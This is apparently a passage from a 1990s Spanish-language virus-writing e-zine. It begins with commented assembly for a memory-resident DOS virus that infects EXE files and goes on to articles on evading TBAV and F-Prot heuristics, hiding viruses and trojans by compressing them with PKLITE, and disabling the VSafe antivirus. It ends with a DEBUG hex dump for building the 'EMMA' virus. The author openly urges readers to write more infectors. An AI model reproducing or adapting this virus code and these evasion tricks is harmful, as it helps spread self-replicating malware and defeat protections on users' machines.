	int 21h
	and ax, 0fh
	or ax, ax
	jz DontAdd	; Si termina en paragrafo, no hacemos nada

	mov cx, 10h	; Si no termina en paragrafo, le agregamos bytes de
	sub cx, ax	; basura para rellenar. Notar que no importa que
	mov ah, 40h	; tenga DX, ya que no importa que es lo que ponemos.
	int 21h

DontAdd:
	mov ax, 4202h	; Bien, ahora obtenemos el size final, redondeado a
	cwd		; paragrafo.
	xor cx, cx
	int 21h

	mov cl, 4	; En este codigo se calcula el nuevo CS:IP que debera
	shr ax, cl	; tener el file. Se hace la siguiente cuenta:
	mov cl, 12	; Size del file: 12340H (DX=1, AX=2340H)
	shl dx, cl	; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
	add dx, ax	; En DX ahora tenemos el CS que tendra que tener.
	sub dx, word ptr ds:ExeHeader+8; Le restamos el numero de paragrafos
	push dx		; del header. Lo guardamos en la stack para despues
	; <--------------- Entienden porque no se puede infectar EXEs de 1M+?

	mov ah, 40h	; Ahora escribimos el virus al final del file.
	mov cx, VirLen	; Lo hacemos antes de tocar el header porque en el
	cwd		; CS:IP u SS:SP del header (dentro del codigo del
	int 21h		; virus) debe quedar el CS:IP, SS:SP original.
	; para que funcione correctamente la rutina de instalacion del virus.

	pop dx
	mov ds:SS_SP, dx           ; Modificamos el CS:IP del header apuntando
	mov ds:CS_IP+2, dx	   ; al virus. Y ponemos una stack de 100h
	mov ds:word ptr CS_IP, 0   ; bytes (despues del virus) pues esta stack
	; solo sera usada por el mismo virus en su proceso de instalacion.
	; Luego la stack cambia, y pasa a ser la original del programa.
	mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; Este es para forzar
	; SP a ser par pues sino es par, el TBSCAN salta.

	mov ax, 4202h	; Volvemos a obtener el NUEVO size, para poder
	xor cx, cx	; calcular el size que hay que poner en el header.
	cwd
	int 21h
	mov cx, 200h	; Hacemos la sgte. cuenta :
	div cx		; FileSize/512 = PAGES. FileSize modulo 512 = Resto
	inc ax		; redondeamos para arriba
	mov word ptr ds:ExeHeader+2, dx; Lo guardamos en el header, para
	mov word ptr ds:ExeHeader+4, ax; escribirlo despues

	mov word ptr ds:Checksum, 'JA'; Ponemos la marca de identificacion
	; del virus en el checksum.
	add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; Al 'MinAlloc'
	; le sumamos el numero de paragrafos del virus, para que no haya
	; problemas en la alocacion de memoria. (Tambien le sumamos 10 para
	; grafos para la stack del virus.

	mov ax, 4200h	; Vamos al principio del file
	cwd
	xor cx, cx
	int 21h
	mov ah, 40h	; y escribimos el header modificado...
	mov cx, 20h
	mov dx, offset ExeHeader
	int 21h

	mov ah, 2	; sonamos una campanita :-). Para que al novato
	mov dl,  7	; no se le pase por alto que el virus esta en memoria
	int 21h		; SI DESPUES DE ESTO TE INFECTAS, CORTATELA, GIL.
AbortInfect:
	mov ah, 3eh	; Cerramos el file que abrimos.
	int 21h

	pop ds		; Popeamos los registros que habiamos pusheado para
	pop dx		; conservarlos.
	pop cx
	pop bx
	pop ax;flags	; Esto es para pasar las flags bien. Pueden ignorarlo
	mov bp, sp	; los novatos.
	mov [bp+12], ax
	pop ax
	pop bp
	add sp, 4
	iret	; Devolvemos el control.


; Data
OldInt21	dd	0
; Aqui guardamos el address original de INT 21.

ExeHeader	db	0eh DUP('H');
SS_SP		dw	0, offset VirEnd+100h
Checksum	dw	0
CS_IP		dw	offset Hoste,0
		dw	0,0,0,0
; Esto es el header del EXE.
VirEnd		label	byte

Hoste:
	; Este no es el codigo del virus, sino el del "falso hoste", para que
	; el file carrier corra bien :-).
	mov ah, 9
	mov dx, offset MSG
	push cs
	pop ds
	int 21h
	mov ax, 4c00h
	int 21h
	MSG db "CUIDADO! Ahora el virus ESTA EN MEMORIA!", 13, 10
	    db "Y puede infectar todos los EXEs que corras!", 13, 10
	    db "Si te infectas es problema TUYO", 13, 10
	    db "No somos responsables de tu boludez!$"
ends
end
-------------------- Cut Here ------------------------------------------------

% Conclusion %
	Bueno, that's all, folks. Este articulo intento ser de utilidad tanto
para el profano que recien empieza a hacer virus, como para el que ya la
tiene mas clara. Si, ya se que los principiantes no habran entendido muchas
partes dada la dificultad que revisten, y los expertos quiza no habran
entendido otras partes dada la incoherencia y la pobreza descriptiva (?) del
redactor, pero bueno, fuck it.
	Igualmente espero que haya sido de utilidad, y espero ver muchos mas
infectores de EXE por ahi a partir de ahora. Y a modo de despedida, un desafio
para los lectores: Hacer un infector de EXE capaz de infectar EXE de 800k. Yo
creo que es imposible. El premio: Una subscripcion vitalicia a Minotauro
Magazine :-).
        					Trurl, el gran constructor
Evadiendo al Thunder_byte...
-------------------------------------------------------------------------------
 Bueno, en esta secci¢n veremos algunos de los mÇtodos de evaci¢n de an†lisis
 heur°sticos..............pero basta, suficiente charla..!
 

A) Reconocimiento de MZ
   ^^^^^^^^^^^^^^^^^^^^
 Muchos de los antivirus con heur°stica, joden las bolas con este tema:
 EXE/COM determination!!! WARNING CATASTROFE MUNDIAL!!!
 Bueno, para no asustar a los usuarios de estos programas podemos, en el momen_
 to de verificar si es MZ, en vez de verificar 'ZM' directamente.. verificar
 byte x byte... : primero si es 'M' y despues si es 'Z'

B) Deschave de la rutina de b£squeda
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 Una manera para anular esta otra falsa alarma :-), es en vez de buscar *.COM
 por ejemplo, buscar "*.C?M" , lo que signinfica un gran porcentaje de las po_
 sibilidades.. Una vez que ya encontramos alg£n file que cumpla con esta condi_
 ci¢n, lo £nico que hace falta saber, es si la letra del medio es una "O".
 Con esto el Tbav, por ejemplo se calla la boca.

C) Llamadas a servicios no documentados
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 Ahora, esto es una de las boludeces mas grandes del planeta...
 En vez de por ejemplo hacer un :
                                 MOV AX, 3546h
                                 INT 21h
 hacer:
                                 PUSH 3546h
                                 POP AX
                                 INT 21h
 (No puedo creer que no se les haya ocurrido...:)

D) Vuelta al Entry Point
   ^^^^^^^^^^^^^^^^^^^^^
 Otra falsa alarma del tbav (que programa tan boludo!) es el reconocimiento del
 regreso al entry point. Pero no desesperar.... porque este bug se puede corre_
 gir de la misma manera anterior.
 Por ejemplo en un .com ser°a esto :
                                 MOV AX, 100h
                                 JMP AX
 entonces lo cambiamos por :
                                 PUSH 100h
                                 POP AX
                                 JMP AX

E) Acceso Sospechoso a Archivos
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 Otra cosa que no le gusta al tbav es el momento en que el virus CAMBIA los a_
 tributos del file.. Entonces ya saben que hacer : lo mismo que antes.
 Ocultar el servicio.....en vez de llamarlo MOViendo, llamarlo PUSHeando y 
 POPeando.

F) Flexible Entry Point
   ^^^^^^^^^^^^^^^^^^^^
 Otra actitud que no le gusta, es cuando calculamos el offset... (el tema de 
 BP y esa mierda).. Bueno, para esto hay un camino paralelo...
 En vez de hacer :
		CALL	FALSO
	FALSO:
		POP	BP
		SUB	BP, OFFSET FALSO
		...
		...
 podemos hacer lo siguiente..:

		CALL	FALSO
	FALSO:
		MOV	DI, SP
		MOV	BP, WORD PTR SS:[DI]
		SUB	BP, OFFSET FALSO
		INC	SP
		INC	SP
		...
		...
Lo que estar°amos haciendo, es simular un POP... con esto el TB no se entera.
Ahora que cagamos al Tbav, caguemos al F-prot....

A) Ejecutemoslo !! jajja
Ocultando virus, troyanos...
-------------------------------------------------------------------------------
 Fuente original del texto : 40-hex #2

 Estos trucos los saquÇ de varias revistas, trucos (ahora que los sÇ, obvios)
 bastante piolas...

 Imag°nense que tienen un virus no-encriptado, que un scaner heur°stico lo de_
 tecta, o sino un troyano que un chekeador de troyanos reconoce como programa
 que accede a disco sospechosamente... Para evitar esto podemos simplemente
 PKLITEearlos.... el PKLITE, por si no lo conocen, es un compresor de ejecuta_
 bles, dej†ndolos todav°a en este estado. Este pklite, comprime el archivo....
 una vez que lo tengo comprimido, la estructura "f°sica" del file cambia, lo
 que hace al file "invis°ble" a los scanners heur°sticos, o a los checkeadores
 de bombas.

 Un posible problema es el CHK4LITE, que chekea internamente un ejecutable
 compactado. Pero no desesperar....el archivo compactado, posee un header:
 "PKLITE Copr.........Reserved" y sigue "Not Enough Memory$"
 
 Para remediar esto tenÇs que borrar el header o sobreescribirlo con basura,
 pero cuidado con borrar el "$". Ese no se borra, ok??

 Con esto nos aseguramos, una entrada limpia y sin problemas. Ojo....obviamente
 el virus queda "modificado" solamente la primera vez....de ah° en mas, sigue
 siendo el virus normal.
Vsafe, una alegr°a :)
-------------------------------------------------------------------------------
Idea original de Cyborg

Bueno, como todos ya sabr†n, el Vsafe no es el programa m†s seguro del mundo...
Hasta ahora con 3 lineas de c¢digo, lo desinstalabamos y listo... no hab°a m†s
problema... Para desinstalarlo, no hac°a falta mas que tipear:

	MOV	AX, 0FA01h
	MOV	DX, 5945h
	INT	21h

Con esto era suficiente para sacarlo de memoria...... pero si nos cruzabamos
con alguien que tenga mas culo que nosotros, pod°a suceder el caso de que el
Vsafe quedase 'abajo' de otro residente, con lo cual el Vsafe har°a saltar un
feo cartel que dice 'Vsafe no se puede remover ... bla bla bla'.
Adem†s, si el tipo este (de pedo obviamente) quisiera entrar al men£ de Vsafe
y encontrara que no hay mas Vsafe, podr°a empezar a sospechar algo...

Para evitar esto lo que se puede hacer es, en vez de removerlo directamnete a
lo bruto, podr°amos anular las alarmas mientras infectamos y volver a setearlas
cuando terminemos de infectar..

Para esto, estuve analizando algunos sub_servicios del Vsafe y descubr° cosas
muy interesantes:

	MOV	AX, 0FA__h	;__ es la subfucion correspondiente
	MOV	DX, 5945h
	INT	21h

Sub_funci¢n 00h
^^^^^^^^^^^^^^^
	AL <== 00h	;Chequeo de residencia (supongo). Si el Vsafe est†
			;residente, en BX me devuelve 2F00h y si no lo est†,
			;lo deja intacto.
	Si est† residente: 	2F00h ==> BX
	Si no lo est†: 		BX ==> BX

Sub_funci¢n 01h
^^^^^^^^^^^^^^^
	AL <== 01h	;Desinstalar el Vsafe... existe la posibilidad de que
			;quede 'encerrado' y no pueda desinstalarse.

Sub_funci¢n 02h
^^^^^^^^^^^^^^^
	AL <== 02h	;Esta es la funci¢n salvadora... Cuando la ejecuto, 
	BL <== Flags	;en BL necesito los nuevos flags del Vsafe...
	Flags ==> CL	;Obviamnete no me caliento demasiado en pensar cu†l
			;necesito apagar y apago todos...
			;Una vez que llamo a esta funci¢n, en CL me devuelve
			;los atributos anteriores (justo lo que necesito para
			;despuÇs volver a dejarlo como estaba)...

Bueno, hasta aca lleguÇ por hoy, mi objetivo ya lo cumpl°.... pero igualmente
otro d°a con mas ganas voy a averiguar el resto de las subfunciones.

Detalle:
^^^^^^^^
Hay ocasi¢nes donde el flag de "Protecci¢n contra escritura" se torna denso...
Por ejemplo: El virus se ejecuta en una m†quina 'normal' y funca todo ok, pero
que pasa si la m†quina tiene un cache de escritura?? El Vsafe salta la alarma,
debido a que para el momento que el programa es escrito en el disco, el Vsafe
ya est† otra vez cargado como antes. Para esto podr°amos sacar ESE flag con un
AND, por ejemplo:

	and	bl, 11111011b	;Donde el bit 2, es el de Prot. contra escrit.

El resto de los flags son los siguientes:

Bits	7 6 5 4 3 2 1 0
        . . . . . . . 1		Formato HD de bajo nivel
        . . . . . . 1 .		Residente
        . . . . . 1 . .		Protecci¢n contra escritura
        . . . . 1 . . .		Verificaci¢n de archivos ejecutables
        . . . 1 . . . .		Virus de sector de inicio
	. . 1 . . . . .		Protecci¢n de sector de inicio HD
        . 1 . . . . . .		Protecci¢n de sector de inicio FD
        1 . . . . . . .		Protecci¢n de archivos ejecutables

Enjoy !! Drako..
EMMA virus...
-------------------------------------------------------------------------------
Bueno, aqu° les madamos el script del EMMA, (Expanded Memory Major Annoyance).
Un virus que se aloja en la memoria expandida... en el pr¢ximo n£mero, comenta_
remos su funcionamiento, obviamente con su fuente adosado!
Lo £nico que necesitan hacer para tranformar esto en un ejecutable, es :

	DEBUG < TEXT_007.001

Obviamente, recortando todos los comentarios :-)
Bye!

;----------------------------------Cut here------------------------------------
N EMMA.COM
E 0100  E9 02 00 CD 21 E9 EE 00 B8 00 4C 45 4D 4D 58 58
E 0110  58 58 30 E9 4D 50 9C 2E 80 3E 39 00 00 75 31 60
E 0120  B8 00 44 33 DB 2E 8B 16 37 00 CD 67 61 9D 9A 51
E 0130  00 00 00 60 9C B8 00 44 BB FF FF 2E 8B 16 37 00
E 0140  CD 67 8B EC 8B 46 00 89 46 16 9D 61 CF 00 00 00
E 0150  9D EA 00 00 00 00 9C 92 81 FA 00 4B 74 07 92 2E
E 0160  FF 1E 4D 00 CB 9D E8 7E 00 92 1E 52 9C 2E FF 1E
E 0170  4D 00 9C 60 1E 8B EC C5 56 14 B8 02 3D CD 21 93
E 0180  B4 3F B9 03 00 0E 1F BA 03 00 CD 21 B8 02 42 99
E 0190  33 C9 CD 21 2D 03 00 50 2D 9B 01 3B 06 04 00 74
E 01A0  29 B8 4D 5A 3B 06 03 00 74 20 58 A3 0F 00 B4 40
E 01B0  B9 9B 01 99 CD 21 B8 00 42 33 C9 99 CD 21 B4 40
E 01C0  B9 03 00 BA 0E 00 CD 21 EB 03 83 C4 02 B4 3E CD
E 01D0  21 E8 13 00 1F 61 55 8B EC 8D 66 08 50 8B 46 02
E 01E0  50 9D 58 8B 6E 00 CB 50 1E B8 24 00 8E D8 80 36
E 01F0  39 00 01 1F 58 C3 60 2E 8B 1E 01 01 81 C3 03 01
E 0200  E8 0A 00 8B FE 8D 77 03 A4 A5 61 FF E6 53 56 06
E 0210  1E 53 53 1E B8 24 00 8E D8 81 3E 00 00 9C 2E 1F
E 0220  74 76 8D 77 06 B8 67 35 CD 21 BF 0A 00 B9 08 00
E 0230  F3 A6 75 64 B4 42 CD 67 83 FB 01 7C 5B B4 41 CD
E 0240  67 5E 2E 89 5C 2C 8E C3 B4 43 BB 01 00 CD 67 2E
E 0250  89 54 48 B8 00 44 BB 00 00 CD 67 B8 21 35 CD 21
E 0260  2E 89 5C 4D 2E 8C 44 4F 2E 8E 44 2C 33 FF B9 9B
E 0270  01 F3 A4 B8 00 44 BB FF FF CD 67 BF 24 00 8B DF
E 0280  8E C7 33 FF 5E 83 C6 11 B9 40 00 F3 A4 8E DB 33
E 0290  D2 B8 21 25 CD 21 EB 03 83 C4 04 1F 07 5E 5B C3
E 02A0  EB 5D AD 95 B2 10 EB 5E AD 95 B2 10 EB 5F AD 95
E 02B0  B2 10 72 08 A4 D1 ED 4A 74 F4 73 F8 33 C9 33 DB
E 02C0  D1 ED 4A 74 C5 D1 D3 D1 ED 4A 74 C4 D1 D3 85 DB
E 02D0  74 17 D1 ED 4A 74 BF D1 D3 80 FB 06 72 0B D1 ED
E 02E0  4A 75 04 AD 95 B2 10 D1 D3 2E 8A 8F 61 01 80 F9
E 02F0  0A 74 75 33 DB 83 F9 02 74 2A D1 ED 4A 74 9D 72
E 0300  23 D1 ED 4A 74 9C D1 D3 D1 ED 4A 74 9B D1 D3 D1
E 0310  ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 02 73 16 2E
E 0320  8A BF 71 01 AC 8A D8 56 8B F7 2B F3 1E 06 1F F3
E 0330  A4 1F 5E EB 80 D1 ED 4A 75 04 AD 95 B2 10 D1 D3
E 0340  80 FB 08 72 DA D1 ED 4A 75 04 AD 95 B2 10 D1 D3
E 0350  80 FB 17 72 CA D1 ED 4A 75 04 AD 95 B2 10 D1 D3
E 0360  81 E3 DF 00 86 DF EB BC AC 02 C8 80 D5 00 3C FF
E 0370  75 81 5B 8B EB 83 C3 10 33 C0 AC 91 E3 0F AD 03
E 0380  C3 8E C0 90 AD 97 26 01 1D E2 F9 EB EB AD 03 C3
E 0390  92 AD FA 8E D2 8B E0 FB AD 03 D8 53 AD 50 8E C5
E 03A0  8E DD 33 C0 8B D8 8B C8 8B D0 8B E8 8B F0 8B F8
E 03B0  CB 03 00 02 0A 04 05 00 00 00 00 00 00 06 07 08
E 03C0  09 01 02 00 00 03 04 05 06 00 00 00 00 00 00 00
E 03D0  00 07 08 09 0A 0B 0C 0D 80 3E 64 AB FF 75 0C BF
E 03E0  0D A7 BD 64 AB E8 E1 00 E8 82 E2 32 C0 86 06 C3
E 03F0  AB 0A C0 75 03 E9 8D 00 8B 36 66 AB BF 21 AA B8
E 0400  00 29 CD 21 80 3C 00 74 06 BA 60 9C E9 53 FF A1
E 0410  69 AB 80 FC 3A 74 02 B0 40 8A 0E 85 AC 0C 20 2C
E 0420  60 A2 21 AA A0 68 AB 8A 26 CB AB 25 02 02 0A C0
E 0430  74 13 3A C4 75 0F 80 3E 86 AC 00 74 08 FE 06 C4
E 0440  AB 32 C0 EB 06 34 02 22 C4 D0 E8 0A 06 86 AC A2
E 0450  40 A8 D0 E0 D0 E0 A2 7F AC 80 3E 81 AC 00 75 25
E 0460  08 06 85 AC 0A C9 75 1D 0A C0 74 19 8B 0E 50 A8
E 0470  E3 13 B0 1A 06 33 FF 8E 06 2D A8 F2 AE 07 75 05
E 0480  4F 89 3E 50 A8 BB 65 AA 80 3E 40 A8 00 74 03 BB
E 0490  AB AA BE 22 AA 8B 3E 66 AB B9 08 00 AC 3C 3F 75
E 04A0  02 8A 07 3C 20 74 01 AA 43 E2 F1 B1 03 B0 20 38
E 04B0  04 74 12 B0 2E AA AC 3C 3F 75 02 8A 07 3C 20 74
E 04C0  01 AA 43 E2 F1 32 C0 AA C3 F6 46 04 02 75 43 8B
E 04D0  D5 83 C2 05 57 B8 00 6C BB 40 00 33 C9 8B F2 BA
E 04E0  01 01 CD 21 5F 73 15 E8 C6 D9 3D 02 00 74 23 3D
E 04F0  03 00 74 1E 3D 05 00 74 19 E9 E5 D6 8B D8 B8 00
RCX
1A0
W
Q
